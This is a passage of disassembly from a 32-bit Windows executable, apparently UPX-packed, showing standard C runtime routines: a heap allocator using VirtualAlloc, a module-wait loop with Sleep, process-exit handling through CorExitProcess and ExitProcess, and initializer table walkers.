loc_40D405:				; CODE XREF: sub_40D3D2+3Dj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_40D405
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	dword_41D0E8	; VirtualAlloc
		test	eax, eax
		jnz	short loc_40D438
		or	eax, 0FFFFFFFFh
		jmp	loc_40D4D5
; ---------------------------------------------------------------------------


loc_40D438:				; CODE XREF: sub_40D3D2+5Cj
		lea	edx, [edi+7000h]
		mov	[ebp+var_4], edx
		cmp	edi, edx
		ja	short loc_40D488
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_40D450:				; CODE XREF: sub_40D3D2+B1j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_40D450
		mov	edx, [ebp+var_4]


loc_40D488:				; CODE XREF: sub_40D3D2+71j
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_40D4C5
		or	[eax+4], edi


loc_40D4C5:				; CODE XREF: sub_40D3D2+EEj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_40D4D5:				; CODE XREF: sub_40D3D2+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D3D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4DA	proc near		; CODE XREF: sub_40B8A1+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_40D67E
		test	bl, 1
		jnz	loc_40D677
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_40D677
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		mov	[ebp+var_8], ecx
		cmp	ecx, 3Fh
		jbe	short loc_40D551
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_40D551:				; CODE XREF: sub_40D4DA+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_40D59C
		mov	ebx, 80000000h
		cmp	ecx, 20h
		jnb	short loc_40D57D
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40D59C
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40D59C
; ---------------------------------------------------------------------------


loc_40D57D:				; CODE XREF: sub_40D4DA+87j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40D59C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_40D59C:				; CODE XREF: sub_40D4DA+7Dj
					; sub_40D4DA+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_40D665
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_40D5D6
		push	3Fh
		pop	edi


loc_40D5D6:				; CODE XREF: sub_40D4DA+F7j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_40D653
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		cmp	edi, 20h
		jnb	short loc_40D62A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40D622
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_40D622:				; CODE XREF: sub_40D4DA+138j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_40D64A
; ---------------------------------------------------------------------------


loc_40D62A:				; CODE XREF: sub_40D4DA+132j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40D640
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_40D640:				; CODE XREF: sub_40D4DA+154j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_40D64A:				; CODE XREF: sub_40D4DA+14Ej
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_40D653:				; CODE XREF: sub_40D4DA+120j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_40D668
; ---------------------------------------------------------------------------


loc_40D665:				; CODE XREF: sub_40D4DA+E0j
		mov	edx, [ebp+arg_4]


loc_40D668:				; CODE XREF: sub_40D4DA+189j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_40D7B3
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D4DA+52j
					; sub_40D4DA+5Cj
		xor	eax, eax
		jmp	loc_40D7B6
; ---------------------------------------------------------------------------


loc_40D67E:				; CODE XREF: sub_40D4DA+49j
		jge	loc_40D7B3
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_40D6A9
		push	3Fh
		pop	esi


loc_40D6A9:				; CODE XREF: sub_40D4DA+1CAj
		test	byte ptr [ebp+var_4], 1
		jnz	loc_40D733
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_40D6C2
		push	3Fh
		pop	esi


loc_40D6C2:				; CODE XREF: sub_40D4DA+1E3j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_40D70C
		mov	ebx, 80000000h
		cmp	esi, 20h
		jnb	short loc_40D6ED
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_40D709
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40D709
; ---------------------------------------------------------------------------


loc_40D6ED:				; CODE XREF: sub_40D4DA+1F8j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40D709
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_40D709:				; CODE XREF: sub_40D4DA+20Aj
					; sub_40D4DA+211j ...
		mov	ebx, [ebp+arg_4]


loc_40D70C:				; CODE XREF: sub_40D4DA+1EEj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_40D733
		push	3Fh
		pop	esi


loc_40D733:				; CODE XREF: sub_40D4DA+1D3j
					; sub_40D4DA+254j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_40D7AA
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		cmp	esi, 20h
		jnb	short loc_40D781
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40D779
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_40D779:				; CODE XREF: sub_40D4DA+28Fj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_40D7A1
; ---------------------------------------------------------------------------


loc_40D781:				; CODE XREF: sub_40D4DA+289j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40D797
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_40D797:				; CODE XREF: sub_40D4DA+2ABj
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_40D7A1:				; CODE XREF: sub_40D4DA+2A5j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_40D7AA:				; CODE XREF: sub_40D4DA+277j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_40D7B3:				; CODE XREF: sub_40D4DA+198j
					; sub_40D4DA:loc_40D67Ej
		xor	eax, eax
		inc	eax


loc_40D7B6:				; CODE XREF: sub_40D4DA+19Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D4DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7BB	proc near		; CODE XREF: sub_40AE56+28p
					; sub_40B8A1+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_430278
		mov	ecx, [ebp+arg_0]
		imul	eax, 14h
		add	eax, dword_43027C
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	ebx
		dec	ecx
		cmp	ecx, 20h
		push	esi
		push	edi
		jge	short loc_40D7F4
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_40D801
; ---------------------------------------------------------------------------


loc_40D7F4:				; CODE XREF: sub_40D7BB+2Cj
		add	ecx, 0FFFFFFE0h
		or	edx, 0FFFFFFFFh
		xor	esi, esi
		shr	edx, cl
		mov	[ebp+var_8], edx


loc_40D801:				; CODE XREF: sub_40D7BB+37j
		mov	ecx, dword_430284
		mov	ebx, ecx
		jmp	short loc_40D81C
; ---------------------------------------------------------------------------


loc_40D80B:				; CODE XREF: sub_40D7BB+66j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_40D823
		add	ebx, 14h


loc_40D81C:				; CODE XREF: sub_40D7BB+4Ej
		mov	[ebp+arg_0], ebx
		cmp	ebx, eax
		jb	short loc_40D80B


loc_40D823:				; CODE XREF: sub_40D7BB+5Cj
		cmp	ebx, eax
		jnz	short loc_40D8A6
		mov	ebx, dword_43027C
		jmp	short loc_40D840
; ---------------------------------------------------------------------------


loc_40D82F:				; CODE XREF: sub_40D7BB+8Aj
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_40D847
		add	ebx, 14h


loc_40D840:				; CODE XREF: sub_40D7BB+72j
		mov	[ebp+arg_0], ebx
		cmp	ebx, ecx
		jb	short loc_40D82F


loc_40D847:				; CODE XREF: sub_40D7BB+80j
		cmp	ebx, ecx
		jnz	short loc_40D8A6
		jmp	short loc_40D859
; ---------------------------------------------------------------------------


loc_40D84D:				; CODE XREF: sub_40D7BB+A0j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40D85D
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_40D859:				; CODE XREF: sub_40D7BB+90j
		cmp	ebx, eax
		jb	short loc_40D84D


loc_40D85D:				; CODE XREF: sub_40D7BB+96j
		cmp	ebx, eax
		jnz	short loc_40D892
		mov	ebx, dword_43027C
		jmp	short loc_40D872
; ---------------------------------------------------------------------------


loc_40D869:				; CODE XREF: sub_40D7BB+BCj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40D879
		add	ebx, 14h


loc_40D872:				; CODE XREF: sub_40D7BB+ACj
		mov	[ebp+arg_0], ebx
		cmp	ebx, ecx
		jb	short loc_40D869


loc_40D879:				; CODE XREF: sub_40D7BB+B2j
		cmp	ebx, ecx
		jnz	short loc_40D892
		call	sub_40D322
		mov	ebx, eax
		mov	[ebp+arg_0], ebx
		test	ebx, ebx
		jnz	short loc_40D892


loc_40D88B:				; CODE XREF: sub_40D7BB+E9j
		xor	eax, eax
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------


loc_40D892:				; CODE XREF: sub_40D7BB+A4j
					; sub_40D7BB+C0j ...
		push	ebx
		call	sub_40D3D2
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_40D88B


loc_40D8A6:				; CODE XREF: sub_40D7BB+6Aj
					; sub_40D7BB+8Ej
		mov	dword_430284, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		cmp	edx, 0FFFFFFFFh
		jz	short loc_40D8CD
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_40D8F6


loc_40D8CD:				; CODE XREF: sub_40D7BB+FCj
		and	[ebp+var_4], 0
		mov	edx, [eax+0C4h]
		lea	ecx, [eax+44h]


loc_40D8DA:				; CODE XREF: sub_40D7BB+136j
		mov	edi, [ecx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_40D8F3
		inc	[ebp+var_4]
		mov	edx, [ecx+84h]
		add	ecx, 4
		jmp	short loc_40D8DA
; ---------------------------------------------------------------------------


loc_40D8F3:				; CODE XREF: sub_40D7BB+128j
		mov	edx, [ebp+var_4]


loc_40D8F6:				; CODE XREF: sub_40D7BB+110j
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_40D924
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_40D924
; ---------------------------------------------------------------------------


loc_40D921:				; CODE XREF: sub_40D7BB+16Bj
		add	ecx, ecx
		inc	edi


loc_40D924:				; CODE XREF: sub_40D7BB+155j
					; sub_40D7BB+164j
		test	ecx, ecx
		jge	short loc_40D921
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_40D945
		push	3Fh
		pop	esi


loc_40D945:				; CODE XREF: sub_40D7BB+185j
		cmp	esi, edi
		jz	loc_40DA4E
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40D9B1
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_40D985
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_40D9AE
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_40D9B1
; ---------------------------------------------------------------------------


loc_40D985:				; CODE XREF: sub_40D7BB+1A2j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_40D9AE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_40D9B1
; ---------------------------------------------------------------------------


loc_40D9AE:				; CODE XREF: sub_40D7BB+1BEj
					; sub_40D7BB+1E6j
		mov	ebx, [ebp+arg_0]


loc_40D9B1:				; CODE XREF: sub_40D7BB+198j
					; sub_40D7BB+1C8j ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_40DA5A
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40DA4B
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_40DA22
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_40DA10
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_40DA10:				; CODE XREF: sub_40D7BB+248j
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_40DA4B
; ---------------------------------------------------------------------------


loc_40DA22:				; CODE XREF: sub_40D7BB+242j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_40DA35
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_40DA35:				; CODE XREF: sub_40D7BB+26Bj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_40DA4B:				; CODE XREF: sub_40D7BB+230j
					; sub_40D7BB+265j
		mov	ecx, [ebp+var_8]


loc_40DA4E:				; CODE XREF: sub_40D7BB+18Cj
		test	ecx, ecx
		jz	short loc_40DA5D
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_40DA5D
; ---------------------------------------------------------------------------


loc_40DA5A:				; CODE XREF: sub_40D7BB+20Cj
		mov	ecx, [ebp+var_8]


loc_40DA5D:				; CODE XREF: sub_40D7BB+295j
					; sub_40D7BB+29Dj
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		lea	edi, [ecx+1]
		mov	[esi], edi
		test	ecx, ecx
		jnz	short loc_40DA93
		cmp	ebx, dword_42E878
		jnz	short loc_40DA93
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_43028C
		jnz	short loc_40DA93
		and	dword_42E878, 0


loc_40DA93:				; CODE XREF: sub_40D7BB+2BCj
					; sub_40D7BB+2C4j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_40DA9B:				; CODE XREF: sub_40D7BB+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D7BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAA0	proc near		; CODE XREF: sub_40E0C8+4Ap
					; sub_40E143+4Ap ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 3E8h


loc_40DAAB:				; CODE XREF: sub_40DAA0+2Bj
		push	edi
		call	dword_41D080	; Sleep
		push	[ebp+arg_0]
		call	dword_41D078	; GetModuleHandleW
		add	edi, 3E8h
		cmp	edi, 0EA60h
		ja	short loc_40DACD
		test	eax, eax
		jz	short loc_40DAAB


loc_40DACD:				; CODE XREF: sub_40DAA0+27j
		pop	edi
		pop	ebp
		retn
sub_40DAA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAD0	proc near		; CODE XREF: UPX0:0040BC5Bp
					; UPX0:0040BC81p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		call	sub_40DF83
		push	[ebp+arg_0]
		call	sub_40DDD8
		push	dword_42A2D8
		call	sub_40E143
		push	0FFh
		call	eax
		add	esp, 0Ch
		pop	ebp
		retn
sub_40DAD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF9	proc near		; CODE XREF: sub_40DB24+8p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	offset aMscoree_dll ; "mscoree.dll"
		call	dword_41D078	; GetModuleHandleW
		test	eax, eax
		jz	short loc_40DB22
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	dword_41D0D8	; GetProcAddress
		test	eax, eax
		jz	short loc_40DB22
		push	[ebp+arg_0]
		call	eax


loc_40DB22:				; CODE XREF: sub_40DAF9+12j
					; sub_40DAF9+22j
		pop	ebp
		retn
sub_40DAF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB24	proc near		; CODE XREF: sub_40AEA5+34p
					; sub_40BB8E+20p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40DAF9
		pop	ecx
		push	[ebp+arg_0]
		call	dword_41D1C0	; ExitProcess
		int	3		; Trap to Debugger
sub_40DB24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; CODE XREF: sub_40B734+Cp
		push	8
		call	sub_40CFA9
		pop	ecx
		retn
sub_40DB3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB45	proc near		; CODE XREF: sub_40B76Ap
		push	8
		call	sub_40CECF
		pop	ecx
		retn
sub_40DB45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB4E	proc near		; CODE XREF: sub_40DB8F+57p
					; sub_40DC14+D6p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_40DB63
; ---------------------------------------------------------------------------


loc_40DB58:				; CODE XREF: sub_40DB4E+18j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40DB60
		call	eax


loc_40DB60:				; CODE XREF: sub_40DB4E+Ej
		add	esi, 4


loc_40DB63:				; CODE XREF: sub_40DB4E+8j
		cmp	esi, [ebp+arg_0]
		jb	short loc_40DB58
		pop	esi
		pop	ebp
		retn
sub_40DB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB6B	proc near		; CODE XREF: sub_40DB8F+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		jmp	short loc_40DB87
; ---------------------------------------------------------------------------


loc_40DB78:				; CODE XREF: sub_40DB6B+1Fj
		test	eax, eax
		jnz	short loc_40DB8C
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_40DB84
		call	ecx


loc_40DB84:				; CODE XREF: sub_40DB6B+15j
		add	esi, 4


loc_40DB87:				; CODE XREF: sub_40DB6B+Bj
		cmp	esi, [ebp+arg_4]
		jb	short loc_40DB78


loc_40DB8C:				; CODE XREF: sub_40DB6B+Fj
		pop	esi
		pop	ebp
		retn
sub_40DB6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB8F	proc near		; CODE XREF: UPX0:0040BC99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	off_424D00, 0
		jz	short loc_40DBB6
		push	offset off_424D00
		call	sub_4100F0
		pop	ecx
		test	eax, eax
		jz	short loc_40DBB6
		push	[ebp+arg_0]
		call	off_424D00
		pop	ecx


loc_40DBB6:				; CODE XREF: sub_40DB8F+Cj
					; sub_40DB8F+1Bj
		call	sub_41268C
		push	offset dword_41D410
		push	offset dword_41D3F8
		call	sub_40DB6B
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DC12
		push	offset byte_40FCAB
		call	sub_40B770
		mov	eax, offset dword_41D3DC
		mov	[esp+4+var_4], offset dword_41D3F4
		call	sub_40DB4E
		cmp	dword_430274, 0
		pop	ecx
		jz	short loc_40DC10
		push	offset dword_430274
		call	sub_4100F0
		pop	ecx
		test	eax, eax
		jz	short loc_40DC10
		push	0
		push	2
		push	0
		call	dword_430274


loc_40DC10:				; CODE XREF: sub_40DB8F+64j
					; sub_40DB8F+73j
		xor	eax, eax


loc_40DC12:				; CODE XREF: sub_40DB8F+3Fj
		pop	ebp
		retn
sub_40DB8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC14	proc near		; CODE XREF: sub_40DD40+Cp
					; sub_40DD56+Cp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0040DD3A SIZE 00000006 BYTES

		push	18h
		push	offset dword_426900
		call	__SEH_prolog4
		push	8
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		xor	ebx, ebx
		inc	ebx
		cmp	dword_42E8AC, ebx
		jz	loc_40DD00
		mov	dword_42E8A8, ebx
		mov	al, byte ptr [ebp+arg_8]
		mov	byte_42E8A4, al
		cmp	[ebp+arg_4], 0
		jnz	loc_40DCF0
		push	dword_43026C
		call	sub_40E143
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	short loc_40DCE0
		push	dword_430268
		call	sub_40E143
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_24], esi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], esi


loc_40DC7F:				; CODE XREF: sub_40DC14+7Cj
					; sub_40DC14+CAj
		sub	esi, 4
		mov	[ebp+var_24], esi
		cmp	esi, edi
		jb	short loc_40DCE0
		call	sub_40E13A
		cmp	[esi], eax
		jz	short loc_40DC7F
		cmp	esi, edi
		jb	short loc_40DCE0
		push	dword ptr [esi]
		call	sub_40E143
		mov	edi, eax
		call	sub_40E13A
		mov	[esi], eax
		call	edi	; RtlAllocateHeap
		push	dword_43026C
		call	sub_40E143
		mov	edi, eax
		push	dword_430268
		call	sub_40E143
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_40DCCD
		cmp	[ebp+var_20], eax
		jz	short loc_40DCDB


loc_40DCCD:				; CODE XREF: sub_40DC14+B2j
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	[ebp+var_20], eax
